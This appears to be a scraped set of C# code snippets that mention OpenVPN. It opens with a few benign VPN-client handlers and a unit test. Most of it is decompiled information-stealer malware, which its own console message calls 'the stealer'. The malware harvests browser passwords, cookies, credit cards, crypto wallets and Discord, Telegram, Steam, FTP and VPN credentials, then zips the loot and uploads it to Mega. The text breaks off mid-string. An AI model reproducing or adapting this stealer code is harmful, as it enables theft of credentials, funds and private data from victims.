private async void ConnectBTN_Click(object sender, EventArgs e) { if (ConnectBTN.Text == "Disconnect") { await Task.Run(() => openvpn.Dispose()); openvpn = null; } else { var server = Servers.First(x => x.ServerName == serversCB.Text); connectedServer = server.ServerName; ConnectBTN.Enabled = false; ConnectBTN.Text = "Connecting..."; ConnectBTN.ShadowDecoration.Color = Color.Gray; await GetOpenVPN(); statuslbl.Text = "Status: Downloading Config"; configPath = Path.GetTempFileName(); File.WriteAllText(configPath, await _client.GetStringAsync(server.ConfigLink)); statuslbl.Text = "Status: Connecting"; openvpn = new OpenVPN(configPath, openVpnExeFileName: Strings.OpenVPNExe, Strings.OpenVPNLogs); openvpn.Closed += Manager_Closed; openvpn.Connected += Manager_Connected; openvpn.ConnectionErrored += Manager_ConnectionErrored; } }
private void tbVPNUsername_Leave(object sender, EventArgs e) { Settings settings = Settings.Get(); settings.VPNBookUsername = tbVPNUsername.Text; Settings.Save(settings); OpenVPN.SaveUsername(settings.VPNBookUsername); }
private void tbVPNPassword_Leave(object sender, EventArgs e) { Settings settings = Settings.Get(); settings.VPNBookPassword = tbVPNPassword.Text; Settings.Save(settings); OpenVPN.SavePassword(settings.VPNBookPassword); }
private void btnSaveApps_Click(object sender, EventArgs e) { this.appsBindingSource.EndEdit(); List <Apps> apps = this.appsBindingSource.DataSource as List <Apps>; Apps.Save(apps); OpenVPN.UpdateDownScript(); PopulateLaunchAppsGrid(); }
public void TestConnectionContext() { IVpnProtocol vpn = new OpenVPN("Server1", 2222); var ctx = new Context(new ConnectionStateDisconnected(vpn), vpn); Assert.IsFalse(ctx.IsConnected()); ctx.Connect(); Assert.IsTrue(ctx.IsConnected()); ctx.Connect(); ctx.Disconnect(); Assert.IsFalse(ctx.IsConnected()); }
private void Manager_ConnectionErrored(object sender, string output) { openvpn.Dispose(); openvpn = null; base.Invoke((MethodInvoker) delegate { ConnectBTN.Enabled = true; ConnectBTN.Text = "Connect"; statuslbl.Text = "Status: Not Connected"; }); CustomMessageBox.Show("Courvix VPN", output); Globals.RichPresence.State = $"Disconnected"; Globals.SetRPC(); }
public void Connect() { this.EnableForm(false); if (Network.IsOpenVPNConnected()) { //connected to vpn, so dissconnect Disconnect(); //Networking.DisableDisconnect = true; Network.ScanNetworkInterfaces(); } else { Logging.SetStatus("Connecting...", Logging.Colors.Yellow); Network.SaveOriginalDnsSettings(); //not connected to vpn, so connect ControlHelpers.StartProcess("taskkill", "/F /IM openvpn-gui.exe"); ControlHelpers.StartProcess("taskkill", "/F /IM openvpn.exe"); Thread.Sleep(5000); CopyOpenVPNAssets(); OpenVPN.SecureConfigs(false); Network.EnableAllNeworkInterfaces(); Networking.DisableDisconnect = true; //wait for vpn to connect Settings settings = Settings.Get(); var openVPN = settings.OpenVPNDirectory + @"\bin\openvpn-gui.exe"; var config = settings.OpenVPNConfig; if (settings.VPNServer.VPNGate) { config = VPNGate.VpnGateConifg; } var openVPNargs = "--connect " + config; ControlHelpers.StartProcess(openVPN, openVPNargs, true, 25); //Thread.Sleep(25000); Network.ScanNetworkInterfaces(); if (Network.IsOpenVPNConnected()) { if (settings.SplitRoute) { Network.SetRoutesAndDNS(); } else { Network.SetAutoDNS(false); } Logging.SetStatus("OpenVPN Connected", Logging.Colors.Green); //ensure dns is flushed ControlHelpers.StartProcess(@"ipconfig.exe", @"/registerdns"); ControlHelpers.StartProcess(@"ipconfig.exe", @"/flushdns"); Network.OpenPrograms(); if (settings.PreventSystemSleep) { SystemUtils.PreventSleep(); } } //Thread.Sleep(60000); //Networking.DisableDisconnect = false; if (!bwFileTransfer.IsBusy) { bwFileTransfer.RunWorkerAsync(); } } this.EnableForm(); PopulateControls(); // Thread.Sleep(10000); Task.Delay(5000).Wait(); //Thread.Sleep(20000); Networking.DisableDisconnect = false; }
// Token: 0x0600004F RID: 79 RVA: 0x000028BC File Offset: 0x00000ABC public static Credentials Create(ClientSettings settings) { Credentials credentials = new Credentials { Defenders = new List <string>(), Browsers = new List <Browser>(), Files = new List <RemoteFile>(), FtpConnections = new List <LoginPair>(), Hardwares = new List <Hardware>(), InstalledBrowsers = new List <InstalledBrowserInfo>(), InstalledSoftwares = new List <string>(), Languages = new List <string>(), Processes = new List <string>(), ColdWallets = new List <ColdWallet>(), ImportantAutofills = new List <Autofill>(), SteamFiles = new List <RemoteFile>(), NordVPN = new List <LoginPair>(), OpenVPN = new List <RemoteFile>(), ProtonVPN = new List <RemoteFile>(), TelegramFiles = new List <RemoteFile>() }; try { try { ReadOnlyCollection <WmiProcessor> source = new WmiService().QueryAll <WmiProcessor>(new WmiProcessorQuery(), null); credentials.Hardwares = (from x in source select new Hardware { Caption = x.Name, HardType = HardwareType.Processor, Parameter = string.Format("{0}", x.NumberOfCores) }).ToList <Hardware>(); } catch { } try { WmiService wmiService = new WmiService(); if (credentials.Hardwares == null) { credentials.Hardwares = new List <Hardware>(); } foreach (Hardware item in (from x in wmiService.QueryAll <WmiGraphicCard>(new WmiGraphicCardQuery(), null) where x.AdapterRAM > 0U select new Hardware { Caption = x.Name, HardType = HardwareType.Graphic, Parameter = string.Format("{0}", x.AdapterRAM) }).ToList <Hardware>()) { credentials.Hardwares.Add(item); } } catch { } try { credentials.Hardwares.Add(new Hardware { Caption = "Total of RAM", HardType = HardwareType.Graphic, Parameter = UserInfoHelper.TotalOfRAM() }); } catch { } try { WmiService wmiService2 = new WmiService(); List <WmiQueryBase> list = new List <WmiQueryBase> { new WmiAntivirusQuery(), new WmiAntiSpyWareQuery(), new WmiFirewallQuery() }; string[] array = new string[] { "ROOT\\SecurityCenter2", "ROOT\\SecurityCenter" }; List <WmiAntivirus> list2 = new List <WmiAntivirus>(); foreach (WmiQueryBase wmiQuery in list) { foreach (string scope in array) { try { list2.AddRange(wmiService2.QueryAll <WmiAntivirus>(wmiQuery, new ManagementObjectSearcher(scope, string.Empty)).ToList <WmiAntivirus>()); } catch { } } } credentials.Defenders = (from x in list2 select x.DisplayName).Distinct <string>().ToList <string>(); } catch { } credentials.InstalledBrowsers = UserInfoHelper.GetBrowsers(); credentials.Processes = UserInfoHelper.ListOfProcesses(); credentials.InstalledSoftwares = UserInfoHelper.ListOfPrograms(); credentials.Languages = UserInfoHelper.AvailableLanguages(); if (settings.GrabTelegram) { credentials.TelegramFiles.AddRange(TelegramGrabber.ParseFiles()); } if (settings.GrabVPN) { credentials.NordVPN.AddRange(NordVPN.GetProfile()); credentials.OpenVPN.AddRange(OpenVPN.ParseFiles()); credentials.ProtonVPN.AddRange(ProtonVPN.ParseFiles()); } if (settings.GrabSteam) { credentials.SteamFiles.AddRange(SteamGrabber.ParseFiles()); } if (settings.GrabBrowsers) { List <Browser> list3 = new List <Browser>(); if (settings.PortablePaths == null) { settings.PortablePaths = new List <string>(); } settings.PortablePaths.Add(Constants.RoamingAppData); settings.PortablePaths.Add(Constants.LocalAppData); List <string> list4 = new List <string>(); List <string> list5 = new List <string>(); foreach (string text in Constants.chromiumBrowserPaths) { string text2 = string.Empty; if (text.Contains("Opera")) { text2 = Constants.RoamingAppData + text; } else { text2 = Constants.LocalAppData + text; } if (Directory.Exists(text2)) { foreach (string text3 in DecryptHelper.FindPaths(text2, 1, 1, new string[] { "Login Data", "Web Data", "Cookies" })) { if ((text3.EndsWith("Login Data") || text3.EndsWith("Web Data") || text3.EndsWith("Cookies")) && !list4.Contains(text3)) { list4.Add(text3); } } } } foreach (string str in Constants.geckoBrowserPaths) { try { string text4 = Constants.RoamingAppData + str; if (Directory.Exists(text4)) { foreach (string text5 in DecryptHelper.FindPaths(text4, 2, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })) { if ((text5.EndsWith("key3.db") || text5.EndsWith("key4.db") || text5.EndsWith("cookies.sqlite") || text5.EndsWith("logins.json")) && !list5.Contains(text5)) { list5.Add(text5); } } } } catch { } } list3.AddRange(ChromiumEngine.ParseBrowsers(list4)); list3.AddRange(GeckoEngine.ParseBrowsers(list5)); foreach (Browser browser in list3) { if (!browser.IsEmpty()) { using (List <Autofill> .Enumerator enumerator6 = CredentialsHelper.FindImportant(browser.Autofills).GetEnumerator()) { while (enumerator6.MoveNext()) { Autofill autofill = enumerator6.Current; if (!credentials.ImportantAutofills.Any((Autofill x) => x.Name == autofill.Name && x.Value == autofill.Value)) { credentials.ImportantAutofills.Add(autofill); } } } credentials.Browsers.Add(browser); } } } if (settings.GrabWallets) { List <ColdWallet> list6 = new List <ColdWallet>(); list6.AddRange(ColdWalletsGrabber.ParseFiles()); foreach (ColdWallet item2 in list6) { credentials.ColdWallets.Add(item2); } } if (settings.GrabFiles) { credentials.Files = RemoteFileGrabber.ParseFiles(settings.GrabPaths, null); } if (settings.GrabFTP) { List <LoginPair> list7 = new List <LoginPair>(); list7.AddRange(FileZilla.ParseConnections()); list7.AddRange(WinSCP.ParseConnections()); credentials.FtpConnections = list7; } if (settings.GrabImClients) { foreach (LoginPair item3 in Pidgin.ParseConnections()) { credentials.FtpConnections.Add(item3); } } } catch (Exception) { } return(credentials); }
// Token: 0x06000006 RID: 6 RVA: 0x000022D4 File Offset: 0x000004D4 public static void GetCollection() { Collection.< > c__DisplayClass2_0 CS$ < > 8__locals1 = new Collection.< > c__DisplayClass2_0(); Console.ForegroundColor = ConsoleColor.White; Console.WriteLine("Если вы это видите, значит запуск происходит в консольном режиме. Не забудьте перекомпилировать стиллер как 'Приложение Windows'."); Console.WriteLine("If you see this, then the launch is in console mode. Do not forget to recompile the stealer as a 'Windows application'."); try { Directory.CreateDirectory(Help.collectionDir); Directory.CreateDirectory(Help.Browsers); Directory.CreateDirectory(Help.Passwords); Directory.CreateDirectory(Help.Autofills); Directory.CreateDirectory(Help.Downloads); Directory.CreateDirectory(Help.Cookies); Directory.CreateDirectory(Help.History); Directory.CreateDirectory(Help.Cards); } catch { } Collection.< > c__DisplayClass2_0 CS$ < > 8__locals2 = CS$ < > 8__locals1; Task[] array = new Task[1]; array[0] = new Task(delegate() { Files.GetFiles(Help.collectionDir); }); CS$ < > 8__locals2.t0 = array; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals3 = CS$ < > 8__locals1; Task[] array2 = new Task[1]; array2[0] = new Task(delegate() { Collection.GetChromium(); }); CS$ < > 8__locals3.t1 = array2; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals4 = CS$ < > 8__locals1; Task[] array3 = new Task[1]; array3[0] = new Task(delegate() { Collection.GetGecko(); }); CS$ < > 8__locals4.t2 = array3; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals5 = CS$ < > 8__locals1; Task[] array4 = new Task[1]; array4[0] = new Task(delegate() { Edge.GetEdge(Help.Passwords); }); CS$ < > 8__locals5.t3 = array4; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals6 = CS$ < > 8__locals1; Task[] array5 = new Task[1]; array5[0] = new Task(delegate() { Outlook.GrabOutlook(Help.collectionDir); }); CS$ < > 8__locals6.t4 = array5; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals7 = CS$ < > 8__locals1; Task[] array6 = new Task[1]; array6[0] = new Task(delegate() { FileZilla.GetFileZilla(Help.collectionDir); }); CS$ < > 8__locals7.t5 = array6; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals8 = CS$ < > 8__locals1; Task[] array7 = new Task[1]; array7[0] = new Task(delegate() { TotalCommander.GetTotalCommander(Help.collectionDir); }); CS$ < > 8__locals8.t6 = array7; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals9 = CS$ < > 8__locals1; Task[] array8 = new Task[1]; array8[0] = new Task(delegate() { ProtonVPN.GetProtonVPN(Help.collectionDir); }); CS$ < > 8__locals9.t7 = array8; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals10 = CS$ < > 8__locals1; Task[] array9 = new Task[1]; array9[0] = new Task(delegate() { OpenVPN.GetOpenVPN(Help.collectionDir); }); CS$ < > 8__locals10.t8 = array9; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals11 = CS$ < > 8__locals1; Task[] array10 = new Task[1]; array10[0] = new Task(delegate() { NordVPN.GetNordVPN(Help.collectionDir); }); CS$ < > 8__locals11.t9 = array10; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals12 = CS$ < > 8__locals1; Task[] array11 = new Task[1]; array11[0] = new Task(delegate() { Telegram.GetTelegram(Help.collectionDir); }); CS$ < > 8__locals12.t10 = array11; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals13 = CS$ < > 8__locals1; Task[] array12 = new Task[1]; array12[0] = new Task(delegate() { Discord.GetDiscord(Help.collectionDir); }); CS$ < > 8__locals13.t11 = array12; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals14 = CS$ < > 8__locals1; Task[] array13 = new Task[1]; array13[0] = new Task(delegate() { Wallets.GetWallets(Help.collectionDir); }); CS$ < > 8__locals14.t12 = array13; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals15 = CS$ < > 8__locals1; Task[] array14 = new Task[1]; array14[0] = new Task(delegate() { Systemsinfo.GetSystemsData(Help.collectionDir); }); CS$ < > 8__locals15.t13 = array14; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals16 = CS$ < > 8__locals1; Task[] array15 = new Task[1]; array15[0] = new Task(delegate() { DomainDetect.GetDomainDetect(Help.Browsers); }); CS$ < > 8__locals16.t14 = array15; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals17 = CS$ < > 8__locals1; Task[] array16 = new Task[1]; array16[0] = new Task(delegate() { Dec.Decrypt(Help.Passwords); }); CS$ < > 8__locals17.t15 = array16; try { new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t0; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t1; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t2; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t3; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t4; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t5; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t6; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t7; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t8; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t9; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t10; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t11; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t12; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t13; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t14; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t15; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); Task.WaitAll(CS$ < > 8__locals1.t0); Task.WaitAll(CS$ < > 8__locals1.t1); Task.WaitAll(CS$ < > 8__locals1.t2); Task.WaitAll(CS$ < > 8__locals1.t3); Task.WaitAll(CS$ < > 8__locals1.t4); Task.WaitAll(CS$ < > 8__locals1.t5); Task.WaitAll(CS$ < > 8__locals1.t6); Task.WaitAll(CS$ < > 8__locals1.t7); Task.WaitAll(CS$ < > 8__locals1.t8); Task.WaitAll(CS$ < > 8__locals1.t9); Task.WaitAll(CS$ < > 8__locals1.t10); Task.WaitAll(CS$ < > 8__locals1.t11); Task.WaitAll(CS$ < > 8__locals1.t12); Task.WaitAll(CS$ < > 8__locals1.t13); Task.WaitAll(CS$ < > 8__locals1.t14); Task.WaitAll(CS$ < > 8__locals1.t15); } catch { } string contents = string.Concat(new string[] { JsonValue.buildversion, "\n\ud83d\udc64 ", Help.machineName, "/", Help.userName, "\n\ud83c\udff4 IP: ", Help.IP(), Help.Country(), "\n\ud83c\udf10 Browsers Data\n ∟\ud83d\udd11\n ∟Chromium v1: ", Chromium.Passwords.ToString(), "\n ∟Chromium v2: ", Dec.colvo.ToString(), "\n ∟Edge: ", Edge.count.ToString(), "\n ∟Gecko: ", Steal.count.ToString(), "\n ∟\ud83c\udf6a", (Chromium.Cookies + Steal.count_cookies).ToString(), "\n ∟\ud83d\udd51", Chromium.History.ToString(), "\n ∟\ud83d\udcdd", Chromium.Autofills.ToString(), "\n ∟\ud83d\udcb3", Chromium.CC.ToString(), "\n ∟⨭", Chromium.Downloads.ToString(), "\n\ud83d\udcb6 Wallets: ", (Wallets.count > 0) ? "✅" : "❌", (Electrum.count > 0) ? " Electrum" : "", (Armory.count > 0) ? " Armory" : "", (AtomicWallet.count > 0) ? " Atomic" : "", (BitcoinCore.count > 0) ? " BitcoinCore" : "", (Bytecoin.count > 0) ? " Bytecoin" : "", (DashCore.count > 0) ? " DashCore" : "", (Ethereum.count > 0) ? " Ethereum" : "", (Exodus.count > 0) ? " Exodus" : "", (LitecoinCore.count > 0) ? " LitecoinCore" : "", (Monero.count > 0) ? " Monero" : "", (Zcash.count > 0) ? " Zcash" : "", (Jaxx.count > 0) ? " Jaxx" : "", "\n\ud83d\udcc2 FileGrabber: ", Files.count.ToString(), "\n\ud83d\udcac Discord: ", (Discord.count > 0) ? "✅" : "❌", "\n✈️ Telegram: ", (Telegram.count > 0) ? "✅" : "❌", "\n\ud83d\udca1 Jabber: ", (Startjabbers.count + Pidgin.PidginCount > 0) ? "✅" : "❌", (Pidgin.PidginCount > 0) ? (" Pidgin (" + Pidgin.PidginAkks.ToString() + ")") : "", (Startjabbers.count > 0) ? " Psi" : "", "\n\ud83d\udce1 FTP\n ∟ FileZilla: ", (FileZilla.count > 0) ? ("✅ (" + FileZilla.count.ToString() + ")") : "❌", "\n ∟ TotalCmd: ", (TotalCommander.count > 0) ? "✅" : "❌", "\n\ud83d\udd0c VPN\n ∟ NordVPN: ", (NordVPN.count > 0) ? "✅" : "❌", "\n ∟ OpenVPN: ", (OpenVPN.count > 0) ? "✅" : "❌", "\n ∟ ProtonVPN: ", (ProtonVPN.count > 0) ? "✅" : "❌", "\n\ud83c\udd94 HWID: ", Help.HWID, "\n⚙️ ", Systemsinfo.GetOSInformation(), "\n\ud83d\udd0e ", File.ReadAllText(Help.Browsers + "\\DomainDetect.txt") }); File.WriteAllText(Help.collectionDir + "\\InfoHERE.txt", contents); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Упаковка архива"); string text = string.Concat(new string[] { Help.dir, "\\", Help.userName, "_", Help.machineName, Help.CountryCOde(), ".zip" }); using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866"))) { zipFile.ParallelDeflateThreshold = -1L; zipFile.UseZip64WhenSaving = Zip64Option.Always; zipFile.CompressionLevel = CompressionLevel.Default; zipFile.Password = Program.passwordzip; zipFile.AddDirectory(Help.collectionDir); try { zipFile.Save(text); } catch { text = Help.dir + "\\" + Help.HWID + ".zip"; zipFile.Save(text); } } Console.WriteLine("Залив на мегу"); MegaSend.Send(text); Clean.GetClean(); }
// Token: 0x0600000B RID: 11 RVA: 0x000188F8 File Offset: 0x00016AF8 public static void GetCollection() { Collection.< > c__DisplayClass2_0 CS$ < > 8__locals1 = new Collection.< > c__DisplayClass2_0(); Console.ForegroundColor = ConsoleColor.White; Console.WriteLine("Если вы это видите, значит запуск происходит в консольном режиме. Не забудьте перекомпилировать стиллер как 'Приложение Windows'."); Console.WriteLine("If you see this, then the launch is in console mode. Do not forget to recompile the stealer as a 'Windows application'."); try { Directory.CreateDirectory(Help.collectionDir); Directory.CreateDirectory(Help.Browsers); Directory.CreateDirectory(Help.Passwords); Directory.CreateDirectory(Help.Autofills); Directory.CreateDirectory(Help.Downloads); Directory.CreateDirectory(Help.Cookies); Directory.CreateDirectory(Help.History); Directory.CreateDirectory(Help.Cards); } catch { } Collection.< > c__DisplayClass2_0 CS$ < > 8__locals2 = CS$ < > 8__locals1; Task[] array = new Task[1]; array[0] = new Task(delegate() { Start.a(); }); CS$ < > 8__locals2.t0 = array; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals3 = CS$ < > 8__locals1; Task[] array2 = new Task[1]; array2[0] = new Task(delegate() { Collection.GetChromium(); }); CS$ < > 8__locals3.t1 = array2; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals4 = CS$ < > 8__locals1; Task[] array3 = new Task[1]; array3[0] = new Task(delegate() { Collection.GetGecko(); }); CS$ < > 8__locals4.t2 = array3; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals5 = CS$ < > 8__locals1; Task[] array4 = new Task[1]; array4[0] = new Task(delegate() { Edge.GetEdge(Help.Passwords); }); CS$ < > 8__locals5.t3 = array4; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals6 = CS$ < > 8__locals1; Task[] array5 = new Task[1]; array5[0] = new Task(delegate() { Outlook.GrabOutlook(Help.collectionDir); }); CS$ < > 8__locals6.t4 = array5; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals7 = CS$ < > 8__locals1; Task[] array6 = new Task[1]; array6[0] = new Task(delegate() { FileZilla.GetFileZilla(Help.collectionDir); }); CS$ < > 8__locals7.t5 = array6; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals8 = CS$ < > 8__locals1; Task[] array7 = new Task[1]; array7[0] = new Task(delegate() { TotalCommander.GetTotalCommander(Help.collectionDir); }); CS$ < > 8__locals8.t6 = array7; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals9 = CS$ < > 8__locals1; Task[] array8 = new Task[1]; array8[0] = new Task(delegate() { ProtonVPN.GetProtonVPN(Help.collectionDir); }); CS$ < > 8__locals9.t7 = array8; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals10 = CS$ < > 8__locals1; Task[] array9 = new Task[1]; array9[0] = new Task(delegate() { OpenVPN.GetOpenVPN(Help.collectionDir); }); CS$ < > 8__locals10.t8 = array9; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals11 = CS$ < > 8__locals1; Task[] array10 = new Task[1]; array10[0] = new Task(delegate() { NordVPN.GetNordVPN(Help.collectionDir); }); CS$ < > 8__locals11.t9 = array10; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals12 = CS$ < > 8__locals1; Task[] array11 = new Task[1]; array11[0] = new Task(delegate() { Telegram.GetTelegram(Help.collectionDir); }); CS$ < > 8__locals12.t10 = array11; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals13 = CS$ < > 8__locals1; Task[] array12 = new Task[1]; array12[0] = new Task(delegate() { Discord.GetDiscord(Help.collectionDir); }); CS$ < > 8__locals13.t11 = array12; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals14 = CS$ < > 8__locals1; Task[] array13 = new Task[1]; array13[0] = new Task(delegate() { Wallets.GetWallets(Help.collectionDir); }); CS$ < > 8__locals14.t12 = array13; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals15 = CS$ < > 8__locals1; Task[] array14 = new Task[1]; array14[0] = new Task(delegate() { Systemsinfo.GetSystemsData(Help.collectionDir); }); CS$ < > 8__locals15.t13 = array14; Collection.< > c__DisplayClass2_0 CS$ < > 8__locals16 = CS$ < > 8__locals1; Task[] array15 = new Task[1]; array15[0] = new Task(delegate() { Dec.Decrypt(Help.Passwords); }); CS$ < > 8__locals16.t15 = array15; try { new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t0; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t1; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t2; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t3; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t4; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t5; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t6; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t7; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t8; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t9; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t10; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t11; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t12; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t13; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t15; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); Task.WaitAll(CS$ < > 8__locals1.t0); Task.WaitAll(CS$ < > 8__locals1.t1); Task.WaitAll(CS$ < > 8__locals1.t2); Task.WaitAll(CS$ < > 8__locals1.t3); Task.WaitAll(CS$ < > 8__locals1.t4); Task.WaitAll(CS$ < > 8__locals1.t5); Task.WaitAll(CS$ < > 8__locals1.t6); Task.WaitAll(CS$ < > 8__locals1.t7); Task.WaitAll(CS$ < > 8__locals1.t8); Task.WaitAll(CS$ < > 8__locals1.t9); Task.WaitAll(CS$ < > 8__locals1.t10); Task.WaitAll(CS$ < > 8__locals1.t11); Task.WaitAll(CS$ < > 8__locals1.t12); Task.WaitAll(CS$ < > 8__locals1.t13); Task.WaitAll(CS$ < > 8__locals1.t15); } catch { } Console.ForegroundColor = ConsoleColor.Green; DomainDetect.GetDomainDetect(Help.Browsers); Start.b(); string contents = string.Concat(new string[] { "<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">", JsonValue.buildversion, "</h1>\n<p style=\"color:white\">\ud83d\udc64 ", Help.machineName, "/", Help.userName, "</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ", Help.IP(), Help.Country(), "</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\"> ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\"> ∟Chromium v1: ", Chromium.Passwords.ToString(), "</p>\n<p style=\"color:white;margin-left:3em\"> ∟Chromium v2: ", Dec.colvo.ToString(), "</p>\n<p style=\"color:white;margin-left:-1.5em\"> ∟Edge: ", Edge.count.ToString(), "</p>\n<p style=\"color:white;margin-left:-0.9em\"> ∟Gecko: ", Steal.count.ToString(), "</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83c\udf6a", (Chromium.Cookies + Steal.count_cookies).ToString(), "</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83d\udd51", Chromium.History.ToString(), "</p>\n<p style=\"color:white;margin-left:-4.5em\"> ∟\ud83d\udcdd", Chromium.Autofills.ToString(), "</p>\n<p style=\"color:white;margin-left:-5.5em\"> ∟\ud83d\udcb3", Chromium.CC.ToString(), "</p>\n<p style=\"color:white;margin-left:-4.8em\"> ∟⨭", Chromium.Downloads.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ", (Wallets.count > 0) ? "✅" : "❌", (Electrum.count > 0) ? " Electrum" : "", (Armory.count > 0) ? " Armory" : "", (AtomicWallet.count > 0) ? " Atomic" : "", (BitcoinCore.count > 0) ? " BitcoinCore" : "", (Bytecoin.count > 0) ? " Bytecoin" : "", (DashCore.count > 0) ? " DashCore" : "", (Ethereum.count > 0) ? " Ethereum" : "", (Exodus.count > 0) ? " Exodus" : "", (LitecoinCore.count > 0) ? " LitecoinCore" : "", (Monero.count > 0) ? " Monero" : "", (Zcash.count > 0) ? " Zcash" : "", (Jaxx.count > 0) ? " Jaxx" : "", "</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ", Grab.countFiles.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ", Grab.countWallets.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ", Grab.countRdp.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ", (Discord.count > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\">✈️ Telegram: ", (Telegram.count > 0) ? "✅" : "❌", "</p>\n<p 